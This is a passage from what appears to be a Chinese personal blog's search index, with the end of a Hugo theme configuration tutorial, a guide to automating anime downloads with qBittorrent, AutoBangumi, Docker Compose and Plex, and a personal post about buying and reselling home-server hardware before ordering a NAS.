style=\"color:#e6db74\"\u003e\u0026#34;左上角显示的文本\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eicon\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/你的/左上角显示的图片.webp\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# 这将显示在导航栏标题旁边。需要在static文件夹放置对应的图片\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eiconHeight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e35\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# 社交图标 (显示在简介下方)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esocialIcons\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebilibili\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eurl\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003egithub\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eurl\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etelegram\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eurl\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# 可以添加更多社交图标 https://github.com/adityatelange/hugo-PaperMod/wiki/Icons\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 顶部导航栏的快捷链接\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003emenu\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003emain\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003eidentifier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ecategories\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e分类\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eurl\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e/categories/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eweight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003eidentifier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etags\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e标签\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eurl\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e/tags/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eweight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003eidentifier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003earchives\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e归档\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eurl\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e/archives/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eweight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e30\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003eidentifier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esearch\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e搜索\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eurl\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e/search/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eweight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e40\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# 可以添加更多导航链接。weight的值越高排序越靠后\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 如果要启用搜索功能，需要添加这个\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eoutputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ehome\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003eHTML\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003eRSS\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003eJSON\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# 必须，用于搜索功能\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后我们需要分别配置分类、标签、归档和搜索页\u003c/p\u003e","title":"Hugo博客搭建教程以及配置调优"},{"content":"实现流程： 每当新番更新时AutoBangumi自动向qb推送种子下载并且重命名 刮削软件（如Plex，飞牛影视设置定时搜索媒体库） 你只需要选番，然后等待下载和看就行了 实际并非 安装qbittorrent 用于下载番剧\n各系统安装方法各有不同。如果你安装的是非nox版本，记得在设置打开WebUI，并监听0.0.0.0:8080\nWindows：SourceForge\nLinux：apt/yum install qbittorrent-nox\nDocker：https://github.com/linuxserver/docker-qbittorrent\nTracker服务器大全：中国可用的 BT Tracker 服务器列表，每24小时自动更新 - 小小编程\n安装AutoBangumi 用于获取你订阅的番剧并在更新时自动发起下载任务\n安装Docker，各系统安装方式各有不同\n找一个你喜欢的文件夹创建docker-compose.yaml ，并写入内容：\nversion: \u0026#34;3.8\u0026#34; services: AutoBangumi: image: ghcr.io/estrellaxd/auto_bangumi:latest container_name: AutoBangumi volumes: - ./config:/app/config - ./data:/app/data ports: - \u0026#34;7892:7892\u0026#34; network_mode: bridge restart: unless-stopped dns: - 223.5.5.5 environment: - TZ=Asia/Shanghai - PGID=$(id -g) - PUID=$(id -u) - UMASK=022 运行命令：docker compose up -d\n进入localhost:7892 ，默认账号：admin，默认密码：adminadmin\n点左边的设置图标 -\u0026gt; 下载设置，填入下载器信息，然后点击右下角的应用，直到右上角亮绿灯\n前往蜜柑计划，注册账号，并订阅你想要的番剧（复制） 回到 AutoBangumi，点击右上角的 +，添加 RSS（粘贴）\n静静等待，不出意外 AutoBangumi 会自动下载你订阅的番剧了（如果没有可以查看AutoBangumi的日志，或者尝试重启容器）\n下载旧集或已完结番剧 首先推荐几个资源网（梯子自备）：\nACG.RIP 末日动漫资源网 蜜柑计划 国内直连：1. https://mikanime.tv 2. https://hadestian.cn 3. https://mk.misakaae.com 4. https://mikan.yujiangqaq.com 5. RSS镜像站：https://mikanani.longc.top 蜜柑计划 需翻墙：https://mikanani.me 然后找你想要的番剧下载 规范重命名 为了让软件能正确刮削元数据和剧集，我们需要规范重命名。\n注意！你只需要确保番剧名正确就可以了！子目录可以通过后面的脚本自动重命名！如果你不确定番剧名请前往TMDB搜索：The Movie Database (TMDB) 一级目录（qb 设置的下载目录）：不需要重命名\n二级目录（番剧名，必须正确）：总之就是非常可爱\n三级目录：（番剧的哪一季）：Season 1\n四级目录：（番剧的哪一季的哪一集）：S01E01.MP4\n前往Episode-ReName，克隆仓库 （已被删库，可尝试Episode-ReName.zip | Onani-AList ) AList已死，请尝试天翼云盘： https://cloud.189.cn/web/share?code=iQVjUnzE7fQj （访问码：i8sk）\nWin 可以通过右键菜单自动获取路径版.bat 通过右键一级目录选择自动剧集命名 。若使用.py 脚本则只能通过python3 EpisodeReName.py \u0026quot;D:/qbdownloads/bangumi\u0026quot;\n小贴士： 可以使用RaiDrive或SSHFS将远程的Linux文件映射到Windows上，管理番剧更方便 安装 Plex（或者安装飞牛云NAS） 用于观看番剧\n下载Plex Media Server\n启动。默认端口 32400（如果进去是一堆乱码，添加/web后缀。例如：192.168.124.25:32400/web）\n选择你的媒体库文件夹\n开启远程访问，右上角设置 -\u0026gt; 远程访问\n图为飞牛影视\n爽看\n","permalink":"https://blog.2x.nz/posts/autobangumi/","summary":"\u003ch1 id=\"实现流程\"\u003e实现流程：\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003e每当新番更新时AutoBangumi自动向qb推送种子下载并且重命名\u003c/li\u003e\n\u003cli\u003e刮削软件（如Plex，飞牛影视设置定时搜索媒体库）\u003c/li\u003e\n\u003cli\u003e你只需要选番，然后等待下载和看就行了 \u003cdel\u003e实际并非\u003c/del\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"安装qbittorrent\"\u003e安装qbittorrent\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e用于下载番剧\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e各系统安装方法各有不同。如果你安装的是非nox版本，记得在设置打开WebUI，并监听0.0.0.0:8080\u003c/p\u003e\n\u003cp\u003eWindows：\u003ca href=\"https://sourceforge.net/projects/qbittorrent/files/qbittorrent-win32\"\u003eSourceForge\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eLinux：\u003ccode\u003eapt/yum install qbittorrent-nox\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eDocker：https://github.com/linuxserver/docker-qbittorrent\u003c/p\u003e\n\u003cp\u003eTracker服务器大全：\u003ca href=\"https://www.yaozuopan.top/index.php/archives/1014/#:~:text=%E4%B8%AD%E5%9B%BD%E5%8F%AF%E7%94%A8%E7%9A%84%20BT%20T\"\u003e中国可用的 BT Tracker 服务器列表，每24小时自动更新 - 小小编程\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"8938ee430e5f74109c34c8c6d48e0e4f619cbeff.webp\" loading=\"lazy\" src=\"/posts/autobangumi/img/29e0e4c26c15463ff692aabcee747950e2d029d3.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"安装autobangumi\"\u003e安装\u003ca href=\"https://www.autobangumi.org/\"\u003eAutoBangumi\u003c/a\u003e\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e用于获取你订阅的番剧并在更新时自动发起下载任务\u003c/p\u003e\u003c/blockquote\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e安装Docker，各系统安装方式各有不同\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e找一个你喜欢的文件夹创建\u003ccode\u003edocker-compose.yaml\u003c/code\u003e ，并写入内容：\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eversion\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;3.8\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eservices\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eAutoBangumi\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eimage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eghcr.io/estrellaxd/auto_bangumi:latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econtainer_name\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eAutoBangumi\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evolumes\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003e./config:/app/config\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003e./data:/app/data\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eports\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;7892:7892\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003enetwork_mode\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebridge\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003erestart\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eunless-stopped\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edns\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003e223.5.5.5\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eTZ=Asia/Shanghai\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003ePGID=$(id -g)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003ePUID=$(id -u)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eUMASK=022\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e\n\u003cp\u003e运行命令：docker compose up -d\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e进入localhost:7892 ，默认账号：admin，默认密码：adminadmin\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e点左边的设置图标 -\u0026gt; 下载设置，填入下载器信息，然后点击右下角的应用，直到右上角亮绿灯\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cimg alt=\"QmbVcrgZ2C2FTt6QdfKsUkVQz9SCiQiyq1WCbphDiGW2mM.webp\" loading=\"lazy\" src=\"/posts/autobangumi/img/94f407121de7816ee2dff78f948dcc2ded27b28f.webp\"\u003e\u003c/p\u003e\n\u003col start=\"6\"\u003e\n\u003cli\u003e\n\u003cp\u003e前往蜜柑计划，注册账号，并订阅你想要的番剧（复制）\n\u003cimg alt=\"QmXq7DcBkA4EecJikQE4snvPkNU2NQLy1EXUpAructteah.webp\" loading=\"lazy\" src=\"/posts/autobangumi/img/0e22eab8db6ed2441f3d3be0b10d51944867df0a.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e回到 AutoBangumi，点击右上角的 +，添加 RSS（粘贴）\u003c/p\u003e","title":"教你搭建自己的番剧库，实现自动追番！"},{"content":"我为什么在很久之前买了一个NAS（？存疑 这其实是一个老生常谈的问题，就像你问我为什么要开始写博客，我也只能给你一个答案，我想这么做。\n好吧好吧，这个答案可能过于敷衍，如果让我仔细想想，应该说当时我已经有了不少的Linux理论知识和实操经验（通过云服务器），所以就想自己弄一个24h小时不关机的小主机放在家里玩（家里云）。\n一开始，我只是用它挂了QQBot，这也是我最初最想要干的事情，因为如果我去花钱买国内的云服务器挂Bot那太贵了，国外的服务器延迟又太高，拿自己的手机电脑是一个很好的选择，我的朋友就曾使用过Shamrock（？？？）来挂Bot。不过这并不适用于我，在当时，我的所有设备（包括手机、平板、电脑）都各司其职，还要天天陪我出勤，根本做不到24h不关机，我总不能说我电脑/手机/平板断网Bot就下线吧，而且我也很讨厌将个人设备的一部分作为服务器使用，就像你在玩崩坏：星穹铁道的时候后台挂着Stable Diffusion一样 （而且不符合Unix哲学）。\n其实很早我就曾使用过旧手机+Termux达到家里云的效果了，但是因为手机芯片是Arm64，而大部分运维软件都是AMD64（x86）架构的。对于开源软件还好说，只需要自己费劲编译一个版本 （或者嫖Github Action的编译） 就可以去使用了。 但是对于经常摸云服务器的我来说，还是喜欢x86架构的开箱即用，也可以顺势装上一些运维管理面板辅助使用。\n那么就只有一个解了，那就是买一个x86小主机。你可能注意到了，我说了这么久我为什么要买一个x86小主机作为家里云使用，但是通篇没有提NAS三个字，这是为什么呢，正所谓饱暖思淫欲。\n如果仅仅花了大价钱买了个家里云就放着吃灰绝对是不行的，所以那段时间我就开始天天折腾，但实际上来说那一款小主机并不适合作为NAS。我们都知道NAS中文叫做网络附属存储，那么既然是网络附属存储，那必然要干什么？欸对！狠狠塞盘！但是实际上那一款小主机只有一个M.2和一个SATA插槽，而且M.2已经作为系统盘了，而SATA插槽也是只能插2.5寸的硬盘。\n人话来说，这完全就不是一个NAS，单盘位算NAS吗？只是一个容量比较大的家里云罢了。我说到这里你可能都会在想，那你为什么还要买呢？欸这你就不知道了，我曾经在2017年买过一个ASUS的双核笔记本，而当时这个智商税笔记本用的硬盘就是2.5寸的机械硬盘，高达512G，虽然这个主机做不了RAID，也塞不进多盘 （其实可以，后续我通过后面的USB接口外置硬盘盒做到了一个极其不稳定的RAID0） ，但是它确实能做到24h不关机，N100的性能也足够用，也够我折腾各种乱七八糟的东西了。\n于是在那段时间我便在这个小主机上搭建了不少服务也装过不少系统，基本把常用Linux发行版全跑了一遍，也体验了PVE里面跑飞牛的嵌套操作，那段时间天天都有新东西可以折腾，还是很爽的。\n那么话又说回来，既然我已经卖掉了那个小主机，这又是为什么呢？ 缺钱，但是不知道在缺什么钱。哈哈，写到这里真是把我也笑到了，从众心理是真的很害人，我们都知道2024年末苹果发布了Mac Mini，16+256G+教育优惠不到4k就能买到全新机，而恰巧我的一位朋友提机了然后跟我聊这玩意怎么怎么好，然后一时上头就把能当的全部当了 （我纱布一个，不仅是小主机惨遭毒手，还有Redmi Book Pro 15S，Redmi G，XiaomiPad 6等等） 。\n总算是凑够钱线下提机了，到手傻眼了，苹果的M4芯片是Arm架构的，很多东西都跑不了，Docker调用不了GPU，说白了这东西对我来说就是，性能强大的家庭服务器，但是我不会用，那么聪明的二叉树树做了一件什么事呢？在可以7天无理由的情况下毅然决然挂到闲鱼，以高价3333人民币卖出 （购入是4k左右，折下来净亏1k） 。\n最后在假期余额即将不足的最后拿这个3333人民币购入了一款一加Ace 5 Pro 16+512 国家补贴-500，最终3299人民币到手的超高性能甜品机。\n主播主播，你的操作还是太笨比了，后续有没有什么更笨比的操作啊！ 有的，兄弟有的，就在刚刚！下单了一个新NAS，我已经准备好通宵搞机了。我的一位朋友曾说人生在于折腾，但可惜那时我已经佛了，被各种事情忙的不可开交。但是话又说回来，现在，我前所未有的感到空闲，我将带领我的大脑，我的身体，我的精神，开启一场前所未有的熬夜、搞机、折腾、坐牢盛宴\n哈哈！我一定要活下去口牙！\n后续搞机有成也会写新博文的，确实很久没写了，我向大家道歉，看着网站每天20的日活真的要哭了，你们都不来找我呜呜呜呜呜呜呜\n","permalink":"https://blog.2x.nz/posts/new-nas/","summary":"\u003ch1 id=\"我为什么在很久之前买了一个nas存疑\"\u003e我为什么在很久之前买了一个NAS（？存疑\u003c/h1\u003e\n\u003cp\u003e这其实是一个老生常谈的问题，就像你问我为什么要开始写博客，我也只能给你一个答案，我想这么做。\u003c/p\u003e\n\u003cp\u003e好吧好吧，这个答案可能过于敷衍，如果让我仔细想想，应该说当时我已经有了不少的Linux理论知识和实操经验（通过云服务器），所以就想自己弄一个24h小时不关机的小主机放在家里玩（家里云）。\u003c/p\u003e\n\u003cp\u003e一开始，我只是用它挂了QQBot，这也是我最初最想要干的事情，因为如果我去花钱买国内的云服务器挂Bot那太贵了，国外的服务器延迟又太高，拿自己的手机电脑是一个很好的选择，我的朋友就曾使用过Shamrock（？？？）来挂Bot。不过这并不适用于我，在当时，我的所有设备（包括手机、平板、电脑）都各司其职，还要天天陪我出勤，根本做不到24h不关机，我总不能说我电脑/手机/平板断网Bot就下线吧，而且我也很讨厌将个人设备的一部分作为服务器使用，就像你在玩崩坏：星穹铁道的时候后台挂着Stable Diffusion一样 \u003cdel\u003e（而且不符合Unix哲学）\u003c/del\u003e。\u003c/p\u003e\n\u003cp\u003e其实很早我就曾使用过旧手机+Termux达到家里云的效果了，但是因为手机芯片是Arm64，而大部分运维软件都是AMD64（x86）架构的。对于开源软件还好说，只需要自己费劲编译一个版本 \u003cdel\u003e（或者嫖Github Action的编译）\u003c/del\u003e 就可以去使用了。\n但是对于经常摸云服务器的我来说，还是喜欢x86架构的开箱即用，也可以顺势装上一些运维管理面板辅助使用。\u003c/p\u003e\n\u003cp\u003e那么就只有一个解了，那就是买一个x86小主机。你可能注意到了，我说了这么久我为什么要买一个x86小主机作为家里云使用，但是通篇没有提NAS三个字，这是为什么呢，正所谓饱暖思淫欲。\u003c/p\u003e\n\u003cp\u003e如果仅仅花了大价钱买了个家里云就放着吃灰绝对是不行的，所以那段时间我就开始天天折腾，但实际上来说那一款小主机并不适合作为NAS。我们都知道NAS中文叫做网络附属存储，那么既然是网络附属\u003cstrong\u003e存储\u003c/strong\u003e，那必然要干什么？欸对！狠狠塞盘！但是实际上那一款小主机只有一个M.2和一个SATA插槽，而且M.2已经作为系统盘了，而SATA插槽也是只能插2.5寸的硬盘。\u003c/p\u003e\n\u003cp\u003e人话来说，这完全就不是一个NAS，单盘位算NAS吗？只是一个容量比较大的家里云罢了。我说到这里你可能都会在想，那你为什么还要买呢？欸这你就不知道了，我曾经在2017年买过一个ASUS的双核笔记本，而当时这个智商税笔记本用的硬盘就是2.5寸的机械硬盘，高达512G，虽然这个主机做不了RAID，也塞不进多盘 \u003cdel\u003e（其实可以，后续我通过后面的USB接口外置硬盘盒做到了一个极其不稳定的RAID0）\u003c/del\u003e ，但是它确实能做到24h不关机，N100的性能也足够用，也够我折腾各种乱七八糟的东西了。\u003c/p\u003e\n\u003cp\u003e于是在那段时间我便在这个小主机上搭建了不少服务也装过不少系统，基本把常用Linux发行版全跑了一遍，也体验了PVE里面跑飞牛的嵌套操作，那段时间天天都有新东西可以折腾，还是很爽的。\u003c/p\u003e\n\u003ch1 id=\"那么话又说回来既然我已经卖掉了那个小主机这又是为什么呢\"\u003e那么话又说回来，既然我已经卖掉了那个小主机，这又是为什么呢？\u003c/h1\u003e\n\u003cp\u003e缺钱，但是不知道在缺什么钱。哈哈，写到这里真是把我也笑到了，从众心理是真的很害人，我们都知道2024年末苹果发布了Mac Mini，16+256G+教育优惠不到4k就能买到全新机，而恰巧我的一位朋友提机了然后跟我聊这玩意怎么怎么好，然后一时上头就把能当的全部当了 \u003cdel\u003e（我纱布一个，不仅是小主机惨遭毒手，还有Redmi Book Pro 15S，Redmi G，XiaomiPad 6等等）\u003c/del\u003e 。\u003c/p\u003e\n\u003cp\u003e总算是凑够钱线下提机了，到手傻眼了，苹果的M4芯片是Arm架构的，很多东西都跑不了，Docker调用不了GPU，说白了这东西对我来说就是，性能强大的家庭服务器，但是我不会用，那么聪明的二叉树树做了一件什么事呢？在可以7天无理由的情况下毅然决然挂到闲鱼，以高价3333人民币卖出 \u003cdel\u003e（购入是4k左右，折下来净亏1k）\u003c/del\u003e 。\u003c/p\u003e\n\u003cp\u003e最后在假期余额即将不足的最后拿这个3333人民币购入了一款一加Ace 5 Pro 16+512 国家补贴-500，最终3299人民币到手的超高性能甜品机。\u003c/p\u003e\n\u003ch1 